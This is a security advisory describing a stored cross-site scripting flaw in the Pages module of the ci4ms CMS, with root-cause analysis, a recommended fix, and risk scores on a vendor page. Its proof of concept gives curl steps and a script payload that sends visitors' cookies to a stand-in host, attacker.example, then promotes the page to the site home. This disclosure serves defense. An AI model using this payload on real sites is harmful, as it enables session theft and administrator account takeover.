Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-gqr2-7hcg-rchf

HighCVSS 8.7 / 10
Published May 18, 2026·Last modified May 18, 2026
Affected Components(0)

No affected components available

Description

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index()app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

  • Pages::create() registers the rule at line 82:
    'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
    
    Then at lines 102–113 it reads the raw POST and inserts it untouched:
    $langsData = $this->request->getPost('lang') ?? [];
    ...
    $this->commonModel->create('pages_langs', [
        ...
        'content' => $lData['content'],   // line 111 — RAW
        ...
    ]);
    
  • Pages::update() mirrors the same pattern at lines 130 and 157:
    'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
    ...
    'content' => $lData['content'],   // line 157 — RAW
    

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

  • Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
  • Different table (pages_langs.content vs blog_langs.content)
  • Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
  • Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
  • Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

  • Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
  • Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
  • Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
  • Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
8.0

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.21%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard